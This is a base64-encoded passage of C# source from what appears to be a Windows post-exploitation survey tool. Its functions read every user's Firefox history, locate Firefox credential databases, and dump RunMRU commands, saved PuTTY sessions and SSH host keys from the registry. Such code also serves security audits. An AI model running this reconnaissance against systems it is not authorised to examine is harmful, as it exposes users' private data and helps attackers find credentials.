ICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG5cclxuPT09IENoZWNraW5nIGZvciBGaXJlZm94IChDdXJyZW50IFVzZXIpID09PVxyXG4iKTsKICAgICAgICAgICAgICAgICAgICBzdHJpbmcgdXNlck5hbWUgPSBFbnZpcm9ubWVudC5HZXRFbnZpcm9ubWVudFZhcmlhYmxlKCJVU0VSTkFNRSIpOwogICAgICAgICAgICAgICAgICAgIHN0cmluZyB1c2VyRmlyZWZveEJhc2VQYXRoID0gU3RyaW5nLkZvcm1hdCgiezB9XFxBcHBEYXRhXFxSb2FtaW5nXFxNb3ppbGxhXFxGaXJlZm94XFxQcm9maWxlc1xcIiwgU3lzdGVtLkVudmlyb25tZW50LkdldEVudmlyb25tZW50VmFyaWFibGUoIlVTRVJQUk9GSUxFIikpOwoKICAgICAgICAgICAgICAgICAgICBpZiAoU3lzdGVtLklPLkRpcmVjdG9yeS5FeGlzdHModXNlckZpcmVmb3hCYXNlUGF0aCkpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmdbXSBkaXJlY3RvcmllcyA9IERpcmVjdG9yeS5HZXREaXJlY3Rvcmllcyh1c2VyRmlyZWZveEJhc2VQYXRoKTsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoc3RyaW5nIGRpcmVjdG9yeSBpbiBkaXJlY3RvcmllcykKICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIGZpcmVmb3hIaXN0b3J5RmlsZSA9IFN0cmluZy5Gb3JtYXQoInswfVxcezF9IiwgZGlyZWN0b3J5LCAicGxhY2VzLnNxbGl0ZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKFN5c3RlbS5JTy5GaWxlLkV4aXN0cyhmaXJlZm94SGlzdG9yeUZpbGUpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFsqXSBGaXJlZm94IGhpc3RvcnkgZmlsZSBleGlzdHMgYXQgezB9IiwgZmlyZWZveEhpc3RvcnlGaWxlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgUnVuIHRoZSAnVHJpYWdlRmlyZWZveCcgY29tbWFuZFxyXG4iKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyBmaXJlZm94Q3JlZGVudGlhbEZpbGUzID0gU3RyaW5nLkZvcm1hdCgiezB9XFx7MX0iLCBkaXJlY3RvcnksICJrZXkzLmRiIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoU3lzdGVtLklPLkZpbGUuRXhpc3RzKGZpcmVmb3hDcmVkZW50aWFsRmlsZTMpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFsqXSBGaXJlZm94IGNyZWRlbnRpYWwgZmlsZSBleGlzdHMgYXQgezB9IiwgZmlyZWZveENyZWRlbnRpYWxGaWxlMyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICAgIFJ1biBTaGFycFdlYiAoaHR0cHM6Ly9naXRodWIuY29tL2RqaG9obnN0ZWluL1NoYXJwV2ViKVxyXG4iKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyBmaXJlZm94Q3JlZGVudGlhbEZpbGU0ID0gU3RyaW5nLkZvcm1hdCgiezB9XFx7MX0iLCBkaXJlY3RvcnksICJrZXk0LmRiIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoU3lzdGVtLklPLkZpbGUuRXhpc3RzKGZpcmVmb3hDcmVkZW50aWFsRmlsZTQpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFsqXSBGaXJlZm94IGNyZWRlbnRpYWwgZmlsZSBleGlzdHMgYXQgezB9IiwgZmlyZWZveENyZWRlbnRpYWxGaWxlNCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICAgIFJ1biBTaGFycFdlYiAoaHR0cHM6Ly9naXRodWIuY29tL2RqaG9obnN0ZWluL1NoYXJwV2ViKVxyXG4iKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uIGV4KQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBbWF0gRXhjZXB0aW9uOiB7MH0iLCBleC5NZXNzYWdlKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBwdWJsaWMgc3RhdGljIHZvaWQgUGFyc2VGaXJlZm94SGlzdG9yeShzdHJpbmcgcGF0aCwgc3RyaW5nIHVzZXIpCiAgICAgICAgewogICAgICAgICAgICAvLyBwYXJzZXMgYSBGaXJlZm94IGhpc3RvcnkgZmlsZSB2aWEgcmVnZXgKICAgICAgICAgICAgaWYgKFN5c3RlbS5JTy5EaXJlY3RvcnkuRXhpc3RzKHBhdGgpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzdHJpbmdbXSBkaXJlY3RvcmllcyA9IERpcmVjdG9yeS5HZXREaXJlY3RvcmllcyhwYXRoKTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKHN0cmluZyBkaXJlY3RvcnkgaW4gZGlyZWN0b3JpZXMpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgc3RyaW5nIGZpcmVmb3hIaXN0b3J5RmlsZSA9IFN0cmluZy5Gb3JtYXQoInswfVxcezF9IiwgZGlyZWN0b3J5LCAicGxhY2VzLnNxbGl0ZSIpOwoKICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcbiAgICBIaXN0b3J5ICh7MH0pOlxyXG4iLCB1c2VyKTsKICAgICAgICAgICAgICAgICAgICBSZWdleCBoaXN0b3J5UmVnZXggPSBuZXcgUmVnZXgoQCIoaHR0cHxmdHB8aHR0cHN8ZmlsZSk6Ly8oW1x3Xy1dKyg/Oig/OlwuW1x3Xy1dKykrKSkoW1x3LixAP149JSY6L34rIy1dKltcd0A/Xj0lJi9+KyMtXSk/Iik7CgogICAgICAgICAgICAgICAgICAgIHRyeQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgdXNpbmcgKFN0cmVhbVJlYWRlciByID0gbmV3IFN0cmVhbVJlYWRlcihmaXJlZm94SGlzdG9yeUZpbGUpKQogICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmcgbGluZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgobGluZSA9IHIuUmVhZExpbmUoKSkgIT0gbnVsbCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNYXRjaCBtID0gaGlzdG9yeVJlZ2V4Lk1hdGNoKGxpbmUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChtLlN1Y2Nlc3MpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgezB9IiwgbS5Hcm91cHNbMF0uVG9TdHJpbmcoKS5UcmltKCkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBjYXRjaCAoU3lzdGVtLklPLklPRXhjZXB0aW9uIGV4Y2VwdGlvbikKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcclxuICAgIFt4XSBJTyBleGNlcHRpb24sIHBsYWNlcy5zcWxpdGUgZmlsZSBsaWtlbHkgaW4gdXNlIChpLmUuIEZpcmVmb3ggaXMgbGlrZWx5IHJ1bm5pbmcpLiIsIGV4Y2VwdGlvbi5NZXNzYWdlKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiBleGNlcHRpb24pCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcbiAgICBbeF0gRXhjZXB0aW9uOiB7MH0iLCBleGNlcHRpb24uTWVzc2FnZSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHB1YmxpYyBzdGF0aWMgdm9pZCBUcmlhZ2VGaXJlZm94KCkKICAgICAgICB7CiAgICAgICAgICAgIHRyeQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBpZiAoSXNIaWdoSW50ZWdyaXR5KCkpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG5cclxuPT09IEZpcmVmb3ggKEFsbCBVc2VycykgPT09Iik7CgogICAgICAgICAgICAgICAgICAgIHN0cmluZyB1c2VyRm9sZGVyID0gU3RyaW5nLkZvcm1hdCgiezB9XFxVc2Vyc1xcIiwgRW52aXJvbm1lbnQuR2V0RW52aXJvbm1lbnRWYXJpYWJsZSgiU3lzdGVtRHJpdmUiKSk7CiAgICAgICAgICAgICAgICAgICAgc3RyaW5nW10gZGlycyA9IERpcmVjdG9yeS5HZXREaXJlY3Rvcmllcyh1c2VyRm9sZGVyKTsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoIChzdHJpbmcgZGlyIGluIGRpcnMpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmdbXSBwYXJ0cyA9IGRpci5TcGxpdCgnXFwnKTsKICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIHVzZXJOYW1lID0gcGFydHNbcGFydHMuTGVuZ3RoIC0gMV07CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghKGRpci5FbmRzV2l0aCgiUHVibGljIikgfHwgZGlyLkVuZHNXaXRoKCJEZWZhdWx0IikgfHwgZGlyLkVuZHNXaXRoKCJEZWZhdWx0IFVzZXIiKSB8fCBkaXIuRW5kc1dpdGgoIkFsbCBVc2VycyIpKSkKICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIHVzZXJGaXJlZm94QmFzZVBhdGggPSBTdHJpbmcuRm9ybWF0KCJ7MH1cXEFwcERhdGFcXFJvYW1pbmdcXE1vemlsbGFcXEZpcmVmb3hcXFByb2ZpbGVzXFwiLCBkaXIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgUGFyc2VGaXJlZm94SGlzdG9yeSh1c2VyRmlyZWZveEJhc2VQYXRoLCB1c2VyTmFtZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG5cclxuPT09IEZpcmVmb3ggKEN1cnJlbnQgVXNlcikgPT09Iik7CiAgICAgICAgICAgICAgICAgICAgc3RyaW5nIHVzZXJOYW1lID0gRW52aXJvbm1lbnQuR2V0RW52aXJvbm1lbnRWYXJpYWJsZSgiVVNFUk5BTUUiKTsKCiAgICAgICAgICAgICAgICAgICAgc3RyaW5nIHVzZXJGaXJlZm94QmFzZVBhdGggPSBTdHJpbmcuRm9ybWF0KCJ7MH1cXEFwcERhdGFcXFJvYW1pbmdcXE1vemlsbGFcXEZpcmVmb3hcXFByb2ZpbGVzXFwiLCBTeXN0ZW0uRW52aXJvbm1lbnQuR2V0RW52aXJvbm1lbnRWYXJpYWJsZSgiVVNFUlBST0ZJTEUiKSk7CiAgICAgICAgICAgICAgICAgICAgUGFyc2VGaXJlZm94SGlzdG9yeSh1c2VyRmlyZWZveEJhc2VQYXRoLCB1c2VyTmFtZSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiBleCkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgW1hdIEV4Y2VwdGlvbjogezB9IiwgZXguTWVzc2FnZSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgdm9pZCBMaXN0UmVjZW50UnVuQ29tbWFuZHMoKQogICAgICAgIHsKICAgICAgICAgICAgLy8gbGlzdHMgcmVjZW50bHkgcnVuIGNvbW1hbmRzIHZpYSB0aGUgUnVuTVJVIHJlZ2lzdHJ5IGtleQogICAgICAgICAgICBpZiAoSXNIaWdoSW50ZWdyaXR5KCkpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcclxuXHJcbj09PSBSZWNlbnQgVHlwZWQgUlVOIENvbW1hbmRzIChBbGwgVXNlcnMpID09PSIpOwoKICAgICAgICAgICAgICAgIHN0cmluZ1tdIFNJRHMgPSBSZWdpc3RyeS5Vc2Vycy5HZXRTdWJLZXlOYW1lcygpOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoc3RyaW5nIFNJRCBpbiBTSURzKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIGlmIChTSUQuU3RhcnRzV2l0aCgiUy0xLTUiKSAmJiAhU0lELkVuZHNXaXRoKCJfQ2xhc3NlcyIpKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgRGljdGlvbmFyeTxzdHJpbmcsIG9iamVjdD4gcmVjZW50Q29tbWFuZHMgPSBHZXRSZWdWYWx1ZXMoIkhLVSIsIFN0cmluZy5Gb3JtYXQoInswfVxcU09GVFdBUkVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXEV4cGxvcmVyXFxSdW5NUlUiLCBTSUQpKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKChyZWNlbnRDb21tYW5kcyAhPSBudWxsKSAmJiAocmVjZW50Q29tbWFuZHMuQ291bnQgIT0gMCkpCiAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcclxuICAgIHswfSA6IiwgU0lEKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKEtleVZhbHVlUGFpcjxzdHJpbmcsIG9iamVjdD4ga3ZwIGluIHJlY2VudENvbW1hbmRzKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgICB7MCwtMTB9IDogIHsxfSIsIGt2cC5LZXksIGt2cC5WYWx1ZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcblxyXG49PT0gUmVjZW50IFR5cGVkIFJVTiBDb21tYW5kcyAoQ3VycmVudCBVc2VyKSA9PT1cclxuIik7CgogICAgICAgICAgICAgICAgRGljdGlvbmFyeTxzdHJpbmcsIG9iamVjdD4gcmVjZW50Q29tbWFuZHMgPSBHZXRSZWdWYWx1ZXMoIkhLQ1UiLCAiU09GVFdBUkVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXEV4cGxvcmVyXFxSdW5NUlUiKTsKICAgICAgICAgICAgICAgIGlmICgocmVjZW50Q29tbWFuZHMgIT0gbnVsbCkgJiYgKHJlY2VudENvbW1hbmRzLkNvdW50ICE9IDApKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKEtleVZhbHVlUGFpcjxzdHJpbmcsIG9iamVjdD4ga3ZwIGluIHJlY2VudENvbW1hbmRzKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICB7MCwtMTB9IDogIHsxfSIsIGt2cC5LZXksIGt2cC5WYWx1ZSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIHZvaWQgTGlzdFB1dHR5U2Vzc2lvbnMoKQogICAgICAgIHsKICAgICAgICAgICAgLy8gZXh0cmFjdHMgc2F2ZWQgcHV0dHkgc2Vzc2lvbnMgYW5kIGJhc2ljIGNvbmZpZ3MgKHZpYSB0aGUgcmVnaXN0cnkpCiAgICAgICAgICAgIGlmIChJc0hpZ2hJbnRlZ3JpdHkoKSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG5cclxuPT09IFB1dHR5IFNhdmVkIFNlc3Npb24gSW5mb3JtYXRpb24gKEFsbCBVc2VycykgPT09XHJcbiIpOwoKICAgICAgICAgICAgICAgIHN0cmluZ1tdIFNJRHMgPSBSZWdpc3RyeS5Vc2Vycy5HZXRTdWJLZXlOYW1lcygpOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoc3RyaW5nIFNJRCBpbiBTSURzKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIGlmIChTSUQuU3RhcnRzV2l0aCgiUy0xLTUiKSAmJiAhU0lELkVuZHNXaXRoKCJfQ2xhc3NlcyIpKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nW10gc3ViS2V5cyA9IEdldFJlZ1N1YmtleXMoIkhLVSIsIFN0cmluZy5Gb3JtYXQoInswfVxcU29mdHdhcmVcXFNpbW9uVGF0aGFtXFxQdVRUWVxcU2Vzc2lvbnNcXCIsIFNJRCkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoc3RyaW5nIHNlc3Npb25OYW1lIGluIHN1YktleXMpCiAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgezAsLTIwfSAgOiAgezF9IiwgIlVzZXIgU0lEIiwgU0lEKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgezAsLTIwfSAgOiAgezF9IiwgIlNlc3Npb25OYW1lIiwgc2Vzc2lvbk5hbWUpOwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZ1tdIGtleXMgPQogICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJIb3N0TmFtZSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlVzZXJOYW1lIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUHVibGljS2V5RmlsZSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlBvcnRGb3J3YXJkaW5ncyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkNvbm5lY3Rpb25TaGFyaW5nIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgfTsKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoIChzdHJpbmcga2V5IGluIGtleXMpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIHJlc3VsdCA9IEdldFJlZ1ZhbHVlKCJIS1UiLCBTdHJpbmcuRm9ybWF0KCJ7MH1cXFNvZnR3YXJlXFxTaW1vblRhdGhhbVxcUHVUVFlcXFNlc3Npb25zXFx7MX0iLCBTSUQsIHNlc3Npb25OYW1lKSwga2V5KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoIVN0cmluZy5Jc051bGxPckVtcHR5KHJlc3VsdCkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgIHswLC0yMH0gIDogIHsxfSIsIGtleSwgcmVzdWx0KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG5cclxuPT09IFB1dHR5IFNhdmVkIFNlc3Npb24gSW5mb3JtYXRpb24gKEN1cnJlbnQgVXNlcikgPT09XHJcbiIpOwoKICAgICAgICAgICAgICAgIHN0cmluZ1tdIHN1YktleXMgPSBHZXRSZWdTdWJrZXlzKCJIS0NVIiwgIlNvZnR3YXJlXFxTaW1vblRhdGhhbVxcUHVUVFlcXFNlc3Npb25zXFwiKTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKHN0cmluZyBzZXNzaW9uTmFtZSBpbiBzdWJLZXlzKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgezAsLTIwfSAgOiAgezF9IiwgIlNlc3Npb25OYW1lIiwgc2Vzc2lvbk5hbWUpOwoKICAgICAgICAgICAgICAgICAgICBzdHJpbmdbXSBrZXlzID0KICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICJIb3N0TmFtZSIsCiAgICAgICAgICAgICAgICAgICAgICAgICJVc2VyTmFtZSIsCiAgICAgICAgICAgICAgICAgICAgICAgICJQdWJsaWNLZXlGaWxlIiwKICAgICAgICAgICAgICAgICAgICAgICAgIlBvcnRGb3J3YXJkaW5ncyIsCiAgICAgICAgICAgICAgICAgICAgICAgICJDb25uZWN0aW9uU2hhcmluZyIKICAgICAgICAgICAgICAgICAgICB9OwoKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoIChzdHJpbmcga2V5IGluIGtleXMpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmcgcmVzdWx0ID0gR2V0UmVnVmFsdWUoIkhLQ1UiLCBTdHJpbmcuRm9ybWF0KCJTb2Z0d2FyZVxcU2ltb25UYXRoYW1cXFB1VFRZXFxTZXNzaW9uc1xcezB9Iiwgc2Vzc2lvbk5hbWUpLCBrZXkpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIVN0cmluZy5Jc051bGxPckVtcHR5KHJlc3VsdCkpCiAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgezAsLTIwfSAgOiAgezF9Iiwga2V5LCByZXN1bHQpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgdm9pZCBMaXN0UHV0dHlTU0hIb3N0S2V5cygpCiAgICAgICAgewogICAgICAgICAgICAvLyBleHRyYWN0cyBzYXZlZCBwdXR0eSBob3N0IGtleXMgKHZpYSB0aGUgcmVnaXN0cnkpCiAgICAgICAgICAgIGlmIChJc0hpZ2hJbnRlZ3JpdHkoKSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG5cclxuPT09IFB1dHR5IFNTSCBIb3N0IEhvc3RzIChBbGwgVXNlcnMpID09PVxyXG4iKTsKCiAgICAgICAgICAgICAgICBzdHJpbmdbXSBTSURzID0gUmVnaXN0cnkuVXNlcnMuR2V0U3ViS2V5TmFtZXMoKTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKHN0cmluZyBTSUQgaW4gU0lEcykKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBpZiAoU0lELlN0YXJ0c1dpdGgoIlMtMS01IikgJiYgIVNJRC5FbmRzV2l0aCgiX0NsYXNzZXMiKSkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIERpY3Rpb25hcnk8c3RyaW5nLCBvYmplY3Q+IGhvc3RLZXlzID0gR2V0UmVnVmFsdWVzKCJIS1UiLCBTdHJpbmcuRm9ybWF0KCJ7MH1cXFNvZnR3YXJlXFxTaW1vblRhdGhhbVxcUHVUVFlcXFNzaEhvc3RLZXlzXFwiLCBTSUQpKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKChob3N0S2V5cyAhPSBudWxsKSAmJiAoaG9zdEtleXMuQ291bnQgIT0gMCkpCiAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgezB9IDoiLCBTSUQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoS2V5VmFsdWVQYWlyPHN0cmluZywgb2JqZWN0PiBrdnAgaW4gaG9zdEtleXMpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICAgIHswLC0xMH0iLCBrdnAuS2V5KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcclxuXHJcbj09PSBQdXR0eSBTU0ggSG9zdCBLZXkgUmVjZW50IEhvc3RzIChDdXJyZW50IFVzZXIpID09PVxyXG4iKTsKCiAgICAgICAgICAgICAgICBEaWN0aW9uYXJ5PHN0cmluZywgb2JqZWN0PiBob3N0S2V5cyA9IEdldFJlZ1ZhbHVlcygiSEtDVSIsICJTb2Z0d2FyZVxcU2ltb25UYXRoYW1cXFB1VFRZXFxTc2hIb3N0S2V5c1xcIik7CiAgICAgICAgICAgICAgICBpZiAoKGhvc3RLZXlzICE9IG51bGwpICYmIChob3N0S2V5cy5Db3VudCAhPSAwKSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoIChLZXlWYWx1ZVBhaXI8c3RyaW5nLCBvYmplY3Q+IGt2cCBpbiBob3N0S2V5cykKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgezAsLTEwfSIsIGt2cC5LZXkpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy9Db25zb2xlLldyaXRlTGluZSgiXHJcblxyXG49PT0gUHV0dHkgU1NIIEhvc3QgS2V5IFJlY2VudCBIb3N0cyA9PT1cclxuIik7CgogICAgICAgICAgICAvL0RpY3Rpb25hcnk8c3RyaW5nLCBvYmplY3Q+IHNlc3Npb25zID0gR2V0UmVnVmFsdWVzKCJIS0NVIiwgIlNvZnR3YXJlXFxTaW1vblRhdGhhbVxcUHVUVFlcXFNzaEhvc3RLZXlzXFwiKTsKICAgICAgICAgICAgLy9pZiAoc2Vzc2lvbnMgIT0gbnVsbCkKICAgICAgICAgICAgLy97CiAgICAgICAgICAgIC8vICAgIGZvcmVhY2ggKEtleVZhbHVlUGFpcjxzdHJpbmcsIG9iamVjdD4ga3ZwIGluIHNlc3Npb